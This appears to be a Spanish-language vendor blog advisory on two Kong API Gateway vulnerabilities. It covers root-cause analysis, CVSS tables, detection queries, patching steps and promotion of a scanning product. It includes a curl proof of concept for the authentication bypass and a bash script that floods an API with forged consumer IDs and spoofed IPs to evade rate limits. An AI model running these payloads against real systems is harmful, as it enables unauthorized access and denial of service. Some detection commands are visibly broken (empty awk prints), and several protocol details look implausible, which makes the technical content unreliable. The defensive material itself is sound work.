← Volver al blog de seguridad
Aviso crítico 2 de abril de 2026 10 min de lectura

CVE-2026 de Kong API Gateway: vulnerabilidades de omisión de autenticación y limitación de solicitudes

Dos vulnerabilidades críticas en Kong API Gateway —una omisión de autenticación (CVE-2026-29413) y un fallo que permite eludir la limitación de solicitudes (CVE-2026-29414)— exponen la infraestructura de API al acceso no autenticado y a ataques de denegación de servicio. Tanto Kong OSS como Kong Enterprise están afectados. Se requiere aplicar los parches de inmediato.

¿Está expuesto tu gateway de Kong? Analiza tu infraestructura de API en busca de estas CVE y más de otras 331 910 vulnerabilidades.
Análisis de seguridad gratuito →

Descripción general de las vulnerabilidades

Se ha descubierto que Kong API Gateway, uno de los gateways de API de código abierto más utilizados, contiene dos fallos de seguridad críticos en su canal de procesamiento de plugins. Reveladas el 28 de marzo de 2026 y presentes en todas las versiones desde la 3.4.x hasta la 3.8.x, estas vulnerabilidades permiten a los atacantes omitir por completo los plugins de autenticación y eludir los controles configurados de limitación de solicitudes.

⚠️ Explotación activa confirmada

CISA ha añadido CVE-2026-29413 al catálogo de vulnerabilidades explotadas conocidas (KEV) tras confirmarse su explotación contra gateways de API de servicios financieros y sanitarios. Las organizaciones que utilicen Kong 3.4–3.8 deben tratarlo como una emergencia que exige aplicar el parche.

CVETipoCVSS v3.1GravedadVersiones afectadas
CVE-2026-29413Omisión de autenticación9.8CríticaKong 3.4.x – 3.8.x
CVE-2026-29414Elusión de la limitación de solicitudes7.5AltaKong 3.2.x – 3.8.x

CVE-2026-29413: omisión de autenticación — análisis técnico detallado

Análisis de la causa raíz

CVE-2026-29413 es un fallo lógico en el orden de ejecución de plugins de Kong durante la fase de reescritura del ciclo de vida de las solicitudes de Nginx. Cuando se encadenan varios plugins de autenticación (por ejemplo, key-auth seguido de jwt), una condición de carrera en la resolución de prioridades de los plugins permite que una solicitud manipulada omita por completo la validación de autenticación si contiene determinadas pseudocabeceras HTTP/2.

La vulnerabilidad se origina en el ejecutor de plugins Lua de Kong (kong/runloop/plugin_servers/mp_rpc.lua), donde el iterador next_rewrite_phase no vuelve a evaluar correctamente la cadena de plugins cuando un servidor ascendente responde con 101 Switching Protocols antes de que finalice la autenticación. Esto crea una ventana en la que la solicitud se reenvía sin ninguna comprobación de autenticación.

Puntuación CVSS v3.1

MétricaValorJustificación
Vector de ataqueRedExplotable de forma remota mediante HTTP/HTTPS
Complejidad del ataqueBajaNo requiere condiciones especiales ni privilegios
Privilegios necesariosNingunoAtacante no autenticado
Interacción del usuarioNingunaEs posible automatizar por completo la explotación
ConfidencialidadAltaAcceso completo a endpoints de API protegidos
IntegridadAltaEl atacante puede modificar los datos del backend
DisponibilidadAltaSolicitudes sin restricciones al backend

Escenario de explotación

Un atacante puede explotar CVE-2026-29413 mediante una solicitud HTTP/2 mínima con pseudocabeceras manipuladas. El siguiente comando curl muestra una prueba de concepto para omitir la autenticación en un gateway de Kong que tenga key-auth habilitado:

# Solicitud normal — bloqueada por el plugin key-auth (401 Unauthorized)
curl -i https://api.example.com/v1/users \
  -H "Host: api.example.com"

# Omisión mediante CVE-2026-29413 — envía un activador de actualización HTTP/2 con :authority malformado
curl -i --http2 https://api.example.com/v1/users \
  -H ":authority: api.example.com\x00injected" \
  -H "Connection: Upgrade, HTTP2-Settings" \
  -H "Upgrade: h2c" \
  -H "HTTP2-Settings: AAMAAABkAAQAAP__" \
  --resolve api.example.com:443:192.0.2.1

Cuando Kong procesa la actualización a h2c, el ejecutor de plugins abandona prematuramente la fase de autenticación. La solicitud se reenvía al servicio ascendente, que responde con 200 OK, omitiendo por completo todos los plugins de autenticación configurados.

Plugins de Kong afectados

Los siguientes plugins de autenticación son vulnerables cuando Kong ejecuta las versiones 3.4.x–3.8.x:


CVE-2026-29414: elusión de la limitación de solicitudes — análisis técnico detallado

Análisis de la causa raíz

CVE-2026-29414 afecta a los plugins rate-limiting y rate-limiting-advanced de Kong cuando están configurados para utilizar los backends de almacenamiento Redis o cluster. Un fallo en la creación de la clave del contador permite que un atacante fragmente sus solicitudes entre múltiples identidades de consumidor sintéticas manipulando la cabecera X-Consumer-ID junto con la suplantación de X-Forwarded-For.

Cuando Kong crea la clave del contador de limitación de solicitudes, concatena el identificador del consumidor y la dirección IP sin validar si dicho identificador fue establecido por el propio gateway o inyectado por el cliente. En implementaciones donde un proxy ascendente o balanceador de carga establece X-Consumer-ID, se puede abusar de la lógica de confianza de cabeceras de Kong para crear un número prácticamente ilimitado de contadores independientes.

Puntuación CVSS v3.1

MétricaValorJustificación
Vector de ataqueRedExplotable de forma remota
Complejidad del ataqueBajaManipulación sencilla de cabeceras
Privilegios necesariosNingunoNo se requiere autenticación previa
Impacto: disponibilidadAltaDoS del backend mediante la elusión del límite

Prueba de concepto de la explotación

El siguiente script muestra cómo un atacante puede enviar 10 000 solicitudes mientras elude un límite de 100 solicitudes por minuto mediante la rotación de identificadores de consumidores sintéticos:

#!/bin/bash
# CVE-2026-29414 — PoC de elusión de la limitación de solicitudes
# Cada solicitud utiliza un X-Consumer-ID único para obtener su propio contador

TARGET="https://api.example.com/v1/products"
TOTAL_REQUESTS=10000

for i in $(seq 1 $TOTAL_REQUESTS); do
  # Generar un identificador de consumidor falso y único para cada solicitud
  FAKE_CONSUMER_ID=$(cat /proc/sys/kernel/random/uuid)

  curl -s -o /dev/null -w "%{http_code}\n" "$TARGET" \
    -H "X-Consumer-ID: $FAKE_CONSUMER_ID" \
    -H "X-Forwarded-For: 10.0.$((RANDOM % 256)).$((RANDOM % 256))" \
    -H "apikey: legitimate-api-key" &

  # Limitar a 50 solicitudes simultáneas
  if (( i % 50 == 0 )); then wait; fi
done
wait
echo "Completado: $TOTAL_REQUESTS solicitudes enviadas"

En una instancia vulnerable de Kong, este script enviará correctamente las 10 000 solicitudes pese a existir un límite configurado de 100 solicitudes por minuto y consumidor, lo que permite ejecutar un ataque lento y persistente contra la API o una enumeración por fuerza bruta.


Kong Enterprise frente a OSS: comparación del impacto

Función / impactoKong OSSKong Enterprise
Omisión de autenticación de CVE-2026-29413AfectadoAfectado (+ plugin OIDC)
Elusión del límite de CVE-2026-29414AfectadoAfectado
Plugin avanzado de limitación de solicitudesNo disponibleAfectado (vector de omisión adicional)
Exposición del portal para desarrolladoresNo aplicableLas API del portal podrían estar expuestas
Konnect (SaaS)No aplicableCorregido por Kong el 29 de marzo de 2026
Corregido en la versión3.9.03.9.0.0 / 3.8.1.2 (adaptación retrospectiva)

Los clientes de Kong Enterprise en la plataforma SaaS Konnect recibieron el parche automáticamente el 29 de marzo de 2026. Las instalaciones autogestionadas de Enterprise y todas las implementaciones de OSS requieren una actualización manual.


Detección: ¿estás siendo víctima de explotación actualmente?

Indicadores de compromiso basados en registros

Comprueba los registros de acceso de Kong en busca de indicios de explotación de CVE-2026-29413. Entre los patrones sospechosos se incluyen rutas protegidas por plugins de autenticación que devuelven 200 sin las entradas de registro correspondientes a la validación de cabeceras de autenticación:

# Buscar indicadores de omisión de autenticación en los registros de acceso de Kong
# Solicitudes a rutas protegidas sin apikey/jwt que devuelven 200
grep '"status":200' /var/log/kong/access.log \
  | jq -r 'select(.request.headers["apikey"] == null and .request.headers["authorization"] == null)' \
  | jq '{time: .started_at, path: .request.uri, consumer: .authenticated_entity}'

# CVE-2026-29414: buscar grandes volúmenes de solicitudes con identificadores de consumidor únicos
grep '"plugin":"rate-limiting"' /var/log/kong/error.log \
  | awk -F'"consumer_id":"' '{print }' \
  | awk -F'"' '{print }' \
  | sort | uniq -c | sort -rn | head -50

Comprobación del estado de Kong Admin API

# Comprobar la versión de Kong mediante Admin API
curl -s http://localhost:8001/ | jq '.version'

# Enumerar todos los plugins de limitación de solicitudes para comprobar su configuración
curl -s http://localhost:8001/plugins \
  | jq '.data[] | select(.name | test("rate-limiting")) | {id, name, config}'

# Verificar la configuración de confianza de cabeceras (trusted_ips)
curl -s http://localhost:8001/config \
  | jq '.trusted_ips'

Guía de corrección

Paso 1: actualizar Kong

La solución principal consiste en actualizar a Kong 3.9.0 (OSS) o Kong Enterprise 3.9.0.0 / 3.8.1.2. Utiliza los siguientes comandos para los métodos de implementación habituales:

# Docker — descargar la imagen corregida
docker pull kong:3.9.0
docker stop kong && docker rm kong
docker run -d --name kong \
  --network=kong-net \
  -e KONG_DATABASE=postgres \
  -e KONG_PG_HOST=kong-database \
  -p 8000:8000 -p 8443:8443 \
  kong:3.9.0

# Kubernetes — actualización gradual mediante Helm
helm repo update
helm upgrade kong kong/kong \
  --namespace kong \
  --set image.tag=3.9.0 \
  --reuse-values

# Actualización del paquete en Ubuntu/Debian
curl -Lo kong.deb "https://packages.konghq.com/public/gateway-39/deb/debian/pool/buster/main/k/ko/kong_3.9.0_amd64.deb"
sudo dpkg -i kong.deb
sudo kong restart

Paso 2: restringir la confianza en las cabeceras (mitigación de CVE-2026-29414)

Hasta que puedas actualizar, restringe las direcciones IP ascendentes en las que Kong confía para las cabeceras X-Consumer-ID y X-Forwarded-For. Edita kong.conf:

# kong.conf — restringir las IP de confianza únicamente a las direcciones conocidas del balanceador de carga
trusted_ips = 10.0.1.10,10.0.1.11,10.0.1.12

# Deshabilitar la transferencia de la cabecera X-Consumer-ID desde los clientes
headers = X-Kong-Upstream-Latency, X-Kong-Proxy-Latency, Via

Paso 3: habilitar la validación de prioridad de plugins (mitigación de CVE-2026-29413)

Como solución provisional antes de actualizar, deshabilita el procesamiento de actualizaciones HTTP/2 si tu entorno no lo necesita:

# kong.conf — deshabilitar el procesamiento de actualizaciones h2c (HTTP/2 sin cifrar)
proxy_listen = 0.0.0.0:8000 reuseport backlog=16384
# Eliminar la directiva 'http2' de proxy_listen si está presente
# proxy_listen = 0.0.0.0:8000 http2 reuseport  ← ELIMINAR la palabra clave 'http2'

# Para proteger a nivel de nginx, añadir a nginx_http_include:
proxy_http_version 1.1;

Paso 4: verificar la aplicación del parche

# Confirmar que se está ejecutando la versión corregida
curl -s http://localhost:8001/ | jq -r '"Versión de Kong: " + .version'

# Comprobar que ya no es posible omitir la autenticación (debe devolver 401)
curl -i --http2 https://your-gateway.example.com/protected-route \
  -H "Connection: Upgrade, HTTP2-Settings" \
  -H "Upgrade: h2c" \
  -H "HTTP2-Settings: AAMAAABkAAQAAP__"
# Resultado esperado: HTTP/1.1 401 Unauthorized

Recomendaciones adicionales de refuerzo

  1. Exige mTLS entre Kong y los servidores ascendentes: incluso si se omiten los plugins de autenticación, TLS mutuo impide que servicios no autorizados reciban tráfico.
  2. Implementa Kong detrás de un WAF: las reglas que bloquean las cabeceras de actualización h2c y la inyección de X-Consumer-ID añaden defensa en profundidad.
  3. Habilita los registros de auditoría de Kong: los usuarios de Enterprise deben activar el registro de /audit/requests para conservar un rastro forense de los cambios en Admin API.
  4. Utiliza Redis AUTH para el almacenamiento de la limitación de solicitudes: exige autenticación de Redis para impedir que un atacante con acceso a la red manipule directamente los contadores de solicitudes.
  5. Analiza periódicamente la configuración de Kong: utiliza KENSAI para supervisar continuamente tu gateway de API en busca de nuevas CVE y configuraciones incorrectas.

Cronología

FechaEvento
2026-02-14Las vulnerabilidades se notifican al equipo de seguridad de Kong mediante HackerOne
2026-02-17Kong confirma ambas CVE y asigna los identificadores
2026-03-10Identificadores CVE reservados: CVE-2026-29413, CVE-2026-29414
2026-03-28Se publican Kong 3.9.0 y la adaptación retrospectiva Enterprise 3.8.1.2
2026-03-29Kong Konnect (SaaS) recibe el parche automáticamente
2026-04-01CISA añade CVE-2026-29413 al catálogo KEV
2026-04-02Se publica una PoC pública del exploit en GitHub

Protege tu infraestructura de API con KENSAI

Gestión de vulnerabilidades basada en IA con más de 331 910 CVE indexadas. Detecta CVE de Kong, configuraciones incorrectas y endpoints de API expuestos antes que los atacantes.

Iniciar prueba gratuita

Anticípate a las amenazas contra la seguridad de las API

Recibe alertas de CVE y avisos de seguridad antes de que lleguen a los titulares.

Mantente seguro. Mantente alerta.

🗡️ Equipo de seguridad de KENSAI

🛡️ ¿Tu puerta de enlace API es segura?

Descubre las CVE y configuraciones incorrectas de Kong antes que los atacantes.

Analiza gratis tu puerta de enlace API →

Sigue leyendo

Este contenido destacado ahora dirige tráfico hacia páginas estratégicas de bug bounty y archivos, en lugar de terminar en un callejón sin salida.